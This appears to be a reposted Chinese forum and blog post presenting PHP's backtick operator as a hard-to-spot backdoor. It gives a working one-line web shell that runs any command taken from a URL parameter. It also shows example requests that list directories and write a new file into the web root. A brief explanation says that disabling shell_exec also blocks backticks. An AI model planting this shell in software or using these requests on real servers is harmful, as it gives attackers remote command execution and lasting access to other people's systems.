PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门
發現這個也是巧合,我就直接說了吧
<?php
//t.php
$test = $_GET['r'];
echo `$test`;
?>
大家看看這個代碼有木有問題?
我想大家都會說沒有問題,但是細心的朋友也會發現下面的變量被一個符號包起來了,既然是變量為什么要這樣了,
而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵 感嘆號!旁邊的,
通過 echo `系統命令`; 可以達到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir 可以列出目錄
http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php
大家覺得我沒有忽悠 就賞點分哈
我用 apmserv 和虛擬主機已經測試成功。
轉自:http://www.90sec.org/thread-1592-1-1.html
相關資料:
真相其實是這樣的,其實 shell_exec 就是 `` 的變體,實際上完全等于 shell_exec,禁用這個函數就不行。
這個就是在 php 里面 ` 會被當做執行語句!
shell_exec() 命令行實際上僅是反撇號 ` 操作符的變體,如果您編寫過 shell 或 Perl 腳本,您就知道可以在反撇號操作符內部捕捉其他命令的輸出。官方有的。。
參考鏈接:
http://www.yunsec.net/a/security/web/jbst/2012/0229/10182.htm
http://ahack.iteye.com/blog/1884135
轉載于:https://blog.51cto.com/norman20000/1224501
總結
以上是生活随笔為你收集整理的PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BGP策略路由的实现
- 下一篇: iphone 方法总结